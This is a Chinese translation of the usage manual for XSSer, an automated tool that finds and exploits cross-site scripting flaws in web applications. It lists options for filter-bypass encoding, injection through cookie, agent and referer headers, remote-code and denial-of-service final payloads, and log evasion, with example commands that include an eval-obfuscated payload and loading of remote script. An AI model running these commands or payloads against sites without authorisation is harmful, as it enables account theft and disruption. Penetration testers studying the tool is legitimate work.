XSSer使用说明
================================================================
简介:
===============================================================
跨站脚本者是一个自动框架,检测,利用和报告基于Web应用XSS漏洞。它包含几个选项,试图绕过某些过滤器,以及各种特殊的代码注入技术。
XSSer由一个遵循GPL V3的团队完成,版权属于psy ( - ).
================================================================
选项与设置:
==============================
xsser [OPTIONS] [-u <url> |-i <file> |-d <dork>] [-g <get> |-p <post> |-c <crawl>] [Request(s)] [Vector(s)] [Bypasser(s)] [Technique(s)] [Final Injection(s)]
Options:
--version 显示程序的版本号
-h, --help 显示帮助信息
-s, --statistics 显示高级显示输出结果
-v, --verbose 激活冗余模式输出结果
--gtk 加载 XSSer GTK 接口
*特别的用法*:
你可以选择 Vector(s) 和 Bypasser(s) 结合特殊的用法来注入代码:
--imx=IMX 利用XSS代码植入来创建一个假的图象
--fla=FLASH 利用XSS代码植入来创建一个假的swf
*选择目标*:
至少有一个选择必须被指定来设置来源以获得目标(s)的url。. 你需要选择然后运行XSSer:
-u URL, --url=URL 键入目标URL进行分析
-i READFILE 从一个文件中读取URL
-d DORK 利用搜索引擎傻瓜式的搜索URL
--De=DORK_ENGINE 傻瓜式的利用搜索引擎 (bing, altavista,yahoo, baidu, yandex, youdao, webcrawler, ask, etc.查看 dork.py 文件来核对有效的搜索引擎)
*现则HTTP/HTTPS的连接类型*:
These options can be used to specify which parameter(s) we want to use
like payload to inject code.
-g GETDATA 输入一个负荷来进行审计,使用 GET参数 (例如: '/menu.php?q=')
-p POSTDATA 输入一个负荷来进行审计,使用 POST 参数(例如: 'foo=1&bar=')
-c CRAWLING 目标URL的爬行数目(s): 1-99999
--Cw=CRAWLER_WIDTH 爬行深度: 1-5
--Cl 本地目标URL爬行 (默认 TRUE)
*安装 请求*:
这些选项被用来制定如何攻击目标和使用负荷. 你有多重选择:
--cookie=COOKIE 改变你的HTTP Cookie header
--user-agent=AGENT 改变你的 HTTP User-Agent header (默认 SPOOFED)
--referer=REFERER 使用别的HTTP Referer header (默认 NONE)
--headers=HEADERS 额外的 HTTP headers 换行隔开
--auth-type=ATYPE HTTP 认证类型 (基本值类型或者摘要)
--auth-cred=ACRED HTTP 认证证书 (值 name:password)
--proxy=PROXY 使用代理服务器 (tor:http://localhost:8118)
--timeout=TIMEOUT 设定时间延迟 (默认 30)
--delay=DELAY 设定每一个 HTTP request值 (默认 8)
--threads=THREADS 最大数目的 HTTP requests并发 (默认 5)
--retries=RETRIES 连接超时重试 (默认 3)
*系统验校器*:
这些选项对于有过滤器的XSS 攻击很有效 和或者重复所利用的代码:
--hash 如果目标重复内容,则每次检测hash
(对预知可能错误的结果非常有用)
--heuristic 启发式的设置才检测那些脚本会被过滤: ;\/<>"'=
*选择 攻击向量(s)*:
这些选项被用在特殊的 XSS 向量源代码来注入到每一个负荷中。非常重要的, 如果你不想尝试通用的XSS注入代码,
请使用默认参数. 只有一个选项:
--payload=SCRIPT OWN - 插入你手动构造的XSS 语句-
--auto AUTO - 从文件中插入 XSSer '报告' 向量
*选择 Bypasser(s)*:
这些选项用来编码所选择的攻击向量,如果目标使用反XSS过滤器代码和IPS规则,则尝试绕过所有的目标上的反XSS 过滤器代码和入侵防御系统规则,
. 总之, 能结合其他的技巧 来提供编码:
--Str 使用 String.FromCharCode()方法
--Une 使用 Unescape() 函数
--Mix 最小的 String.FromCharCode() 函数 和 Unescape()函数
--Dec 使用小数编码
--Hex 使用16进制编码
--Hes 使用带分号的16进制编码
--Dwo 编码IP地址向量为双字节
--Doo 编码IP地址向量为八进制
--Cem=CEM 手动尝试不同的字符编码
(反向混淆效果更好) -> (例如: 'Mix,Une,Str,Hex')
*特殊的技巧*:
这些选项被用来尝试不同的XSS 技巧. 你可以进行多重选择:
--Coo COO - 跨站脚本Cookies注入
--Xsa XSA - 跨站Agent 脚本
--Xsr XSR - 跨站 Referer 脚本
--Dcp DCP - DCP注入
--Dom DOM - DOM注入
--Ind IND - HTTP 包含代码的快速响应
--Anchor ANC - 使用影子攻击负荷 (DOM 影子!)
*Select Final injection(s)*:
这些选项在攻击目标中用于特殊代码注入 Important, if you want to exploit on-the-wild
your discovered vulnerabilities. Choose only one option:
--Fp=FINALPAYLOAD OWN - 手动插入注入代码-
--Fr=FINALREMOTE REMOTE - 远程插入注入代码
--Doss DOSs - XSS 对服务端的拒绝服务攻击注入
--Dos DOS - XSS 对客户端的拒绝服务攻击注入
--B64 B64 - META标签 Base64编码(rfc2397)
*Special Final injection(s)*:
These options can be used to execute some 'special' injection(s) in
vulnerable target(s). You can select multiple and combine with your
final code (except with DCP code):
--Onm ONM - 使用 MouseMove() 事件注入代码
--Ifr IFR - 使用 <iframe>资源标签注入代码
*混杂模式*:
--silent 禁止控制台输出结果
--update 检查XSSer 最新稳定版本
--save 直接输入结果到模版文件 (XSSlist.dat)
--xml=FILEXML 输出 'positives'到一个XML文件 (--xml filename.xml)
--publish 输出 'positives'本地网络 (identi.ca)
--short=SHORTURLS 显示最后的短代码 (tinyurl, is.gd)
--launch 发现的每个XSS都在浏览器进行测试
================================================================
用法举例:
==============================
* 从URL进行简单XSS注入:
$ python XSSer.py -u "http://host.com"
-------------------
* 从一个文件中读取URL并且进行简单的注入,同时设定代理参数和HTTP Header参数:
$ python XSSer.py -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"
-------------------
* 从URL进行多重注入, 使用自动化负荷,和代理, 注入负荷使用116进制编码 "Hex", 产生冗长的输出,并且将结果保存到一个文件 (XSSlist.dat):
$ python XSSer.py -u "http://host.com" --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w
-------------------
* 从URL进行多重注入, 使用自动化负荷和特殊的文字编码(第一, 改变负荷为16进制; 第二, 改变第一次的编码为字节码到字符串; 第三, 把第二次的编码重新进行16进制编码), 使用代理欺骗, 改变时间延迟为 "20" and 使用多线程 (5 个线程):
$ python XSSer.py -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"
-------------------
* 从文件读取进行高级注入, 负荷采用 -own- payload 参数,并且使用Unescape() 函数进行字符编码绕过检测:
$ python XSSer.py -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une
-------------------
* 傻瓜式的选择 "duck" 引擎进行注入 (XSSer 蠕虫!):
$ python XSSer.py --De "duck" -d "search.php?"
-------------------
* 注入爬行深度为3 ,页面数目(宽度)为4 来进行检测(XSSer 蜘蛛!):
$ python XSSer.py -c3 --Cw=4 -u "http://host.com"
-------------------
* 从URL简单注入, 使用POST方式, 并且统计结果:
$ python XSSer.py -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s
-------------------
* 从URL进行多重注入,发送参数类型为GET, 使用自动负荷, 使用八进制的IP地址进行混淆并且输出结果到一个 "tinyurl" 短网址 (为分享者准备!):
$ python XSSer.py -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl
-------------------
* 从URL进行简单注入, 使用 GET 参数, 用Cookies参数注入一个向量, 尝试使用一个 DOM 幽灵空间 (服务器无日志记录!) 如果存在任何 "漏洞", 则手工植入 "恶意" 代码 (为真正的攻击者准备!):
$ python XSSer.py -u "http://host.com" -g "bs/?q=" --Coo --Anchor --Fr="!enter your final injection code here!"
-------------------
* 从URL进行简单注入, 使用 GET 参数, 尝试产生一个带 "恶意代码" 短网址 (is.gd) 使用一个有效的DOS来攻击客户端:
$ python XSSer.py -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"
-------------------
* 多点多重注入, 从一个目标中提取目标, 运行自动负荷,改变时间延时为 "20" ,并且使用多线程(5 个线程), 增加延时到10 s, 注入参数到HTTP 的USer-Agent, HTTP 参数 和 Cookies参数, 使用Tor代理, IP进行八进制混淆, 进行结果统计, 冗长 模式创建短网址 (tinyurl) 来发现任何有效的攻击负荷 (真正的攻击模式!):
$ python XSSer.py -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"
-------------------
* 注入用户的XSS攻击向量在 "在空白处"创建带恶意代码的虚假图片, 并且准备被上传.
$ python XSSer.py --Imx "test.png" --payload "!在这儿输入你的恶意代码!"
-------------------
* 报告输出'positives' 注入到 dorking搜索 (使用 "ask" dorker) ,直接写入到一个 XML 文件.
$ python XSSer.py -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"
-------------------
* 在 dorking 搜索中输出正确的结果 (使用 "duck" 标示) 可以直接查看http://identi.ca
(XSS 渗透测试 Vs 僵尸网络联盟)
$ python XSSer.py -d "login.php" --De "duck" --publish
* 在线例子:
-http://identi.ca/xsserbot01
-http://twitter.com/xsserbot01
-------------------
* 使用XSS代码注入创建一个 .swf 文件
$ python XSSer.py --imx "name_of_file"
-------------------
* 如果目标产生错误的结果,则每次发送一个检测hash。
$ python XSSer.py -u "host.com" --check
-------------------
* 从URL进行多重Fuzz注入, 包含 DCP 注入 利用自己的代码, 用短网址进行欺骗, 发现有用的结果. XSS实时利用.
$ python XSSer.py -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"
-------------------
* Base64 编码中间的标记(rfc2397) 从而对一个可攻击目标进行手工利用.
$ python XSSer.py -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
-------------------
* 利用自己的 "own" -远程代码-直接在浏览器中进行加载和Fuzz测试。
$ python XSSer.py -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch